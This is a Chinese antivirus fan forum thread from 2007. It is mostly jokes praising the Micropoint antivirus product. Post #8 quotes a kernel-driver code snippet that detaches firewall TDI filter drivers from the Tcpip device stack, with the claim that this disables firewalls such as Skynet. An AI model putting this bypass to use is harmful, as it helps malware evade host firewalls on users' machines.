微点交流论坛
» 游客:  注册 | 登录 | 帮助

 微点交流论坛 » 灌水区 » 刚在申博看到的  

作者:
标题: 刚在申博看到的
geminivirgo
注册用户




积分 125
发帖 123
注册 2007-2-9
#1  刚在申博看到的

【原创】[活动]东方微点使用经历：我很菜，我就是不怕病毒
没用微点之前，我到处寻找更厉害的杀毒软件；
用了微点之后，我到处寻找更厉害的病毒样本。

没用微点之前，看到病毒我避之唯恐不及，更不用说实机双击；
用了微点之后，哪里有病毒样本我就往哪里挤，实机双击就等着发生奇迹。

没用微点之前，中了病毒我会满脸戚戚；
用了微点之后，中了病毒我会感到很惊奇。

没用微点之前，有了问题我不知道该找谁合计；
用了微点之后，有了问题就直奔微点官坛找LEGEND，你急他更急！


－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
嘿嘿 这家伙说话有点意思

※ ※ ※ 本文纯属【geminivirgo】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2007-7-22 21:50
查看资料  发短消息   编辑帖子
leelee
高级用户




积分 582
发帖 568
注册 2006-12-16
#2  

..到没胡说

※ ※ ※ 本文纯属【leelee】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2007-7-22 22:46
查看资料  发送邮件  发短消息   编辑帖子
100000
版主

灌水区华南水务使


积分 3285
发帖 3250
注册 2007-2-26
来自 深圳
#3  

这么快就“泄密”啦！


※ ※ ※ 本文纯属【100000】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

日出东方 微点先行 主动防御 快人一步
2007-7-22 23:28
查看资料  发送邮件  发短消息   编辑帖子
反黑先锋
版主

RUNWAY


积分 2901
发帖 2857
注册 2006-6-17
#4  

令人惊叹

※ ※ ※ 本文纯属【反黑先锋】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

荣先祥藏头诗《赞东方微点》
东风欣传好消息
方策独步世所稀
微妙玄机嵌主动
点睛灭毒堪神笔
2007-7-23 00:04
查看资料  发短消息   编辑帖子
微点专家
版主

Weizi


积分 11554
发帖 11458
注册 2006-8-27
来自 贵阳
#5  

实话实说

※ ※ ※ 本文纯属【微点专家】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

做个性的自己
2007-7-23 00:07
查看资料  发送邮件  访问主页  发短消息  QQ   编辑帖子
⿴覀苽超亼
新手上路




积分 33
发帖 33
注册 2007-7-22
#6  



  Quote:
Originally posted by 微点专家 at 2007-7-23 00:07:
实话实说



※ ※ ※ 本文纯属【⿴覀苽超亼】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2007-7-23 08:02
查看资料  发送邮件  发短消息   编辑帖子
jobcreep
银牌会员

我的昵称：小爬


积分 2527
发帖 2527
注册 2007-7-13
来自 陕西西安
#7  

好实话，。。

※ ※ ※ 本文纯属【jobcreep】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

在蓝天下
献给你
我最好的年华！
我的博客“杂货铺”，普天之下，没有我不关心的！
http://hexun.com/jobcreep1899/default.html   
2007-7-23 08:23
查看资料  发送邮件  访问主页  发短消息  QQ   编辑帖子
qq2008444
银牌会员

职业潜水艇


积分 5373
发帖 5291
注册 2007-7-7
来自 兰·基亚斯 兰古拉王国
#8  



  Quote:
Originally posted by xyzreg at 2007-7-23 08:23:
所有的软件防火墙都很弱。如果不信的话您可以说出你认为非常强的防火墙，然后我再反驳，说出突破他的方法。关键还是使用者的安全意识和水平，否则再好的安全软件也无济于事。

附上一篇我前几天写的突破防火墙的文章：http://www.xyzreg.net
唉，软件防火墙好像没一个令我满意的，都比较弱，考虑不全。国内的防火墙更是令人心寒~ 无论是DLL注入还是不引入DLL的纯代码注入，还是TDI Cilent，都能把国内的防火墙搞定。NDIS hook 更不要说了..

来点好玩的，其实我们只要写个驱动，从设备栈里把防火墙的TDI过滤驱动给摘除掉，这样就能对付一般的防火墙了。当然，国外强一点的防火墙，比如ZoneAlarm Pro 6.5就得再结合其他方法了，嘿嘿。

摘除过滤驱动的代码片段：

Quote:

RtlInitUnicodeString ( &TcpipName, L"\\Driver\\Tcpip" );

ObReferenceObjectByName( &TcpipName,
              OBJ_CASE_INSENSITIVE,
              NULL,
              0,
              *IoDriverObjectType,
              KernelMode,                             
              NULL,
              &TcpipDrvObj);

CurrentDevice = TcpipDrvObj->DeviceObject;

while(CurrentDevice != NULL )
{
CurrentDevice->AttachedDevice=0;
CurrentDevice = CurrentDevice->NextDevice;
}


这段代码就能足以使国内人人皆知的天网防火墙装了和没装一样... 呵呵

PS:这里的突破指的是软件防火墙的内对外层面。

绅博的人牛得很...

※ ※ ※ 本文纯属【qq2008444】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

迅雷不及掩耳盗铃，以不变应万变不离其宗，成事不足挂齿，此物最相思风雨中，一屋不扫何以扫天下无敌，东边日出西边雨一直下，举头望明月几时有，呆若木鸡毛当令箭，杀鸡焉用牛刀小试，锋芒毕露春光，围魏救赵宝奎，Very good bye，八格牙鲁冰花，一泻千里共婵娟……
2007-7-23 08:39
查看资料  发送邮件  发短消息   编辑帖子
100000
版主

灌水区华南水务使


积分 3285
发帖 3250
注册 2007-2-26
来自 深圳
#9  

绅博：所有的软件防火墙都很弱---目前有 116页  1158楼 ！天哪！史上最高的楼吗？？？！


※ ※ ※ 本文纯属【100000】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

日出东方 微点先行 主动防御 快人一步
2007-7-23 10:41
查看资料  发送邮件  发短消息   编辑帖子
微点专家
版主

Weizi


积分 11554
发帖 11458
注册 2006-8-27
来自 贵阳
#10  

我把宽带连接断开，脱机浏览微点论坛

※ ※ ※ 本文纯属【微点专家】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

做个性的自己
2007-7-23 13:23
查看资料  发送邮件  访问主页  发短消息  QQ   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]

北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号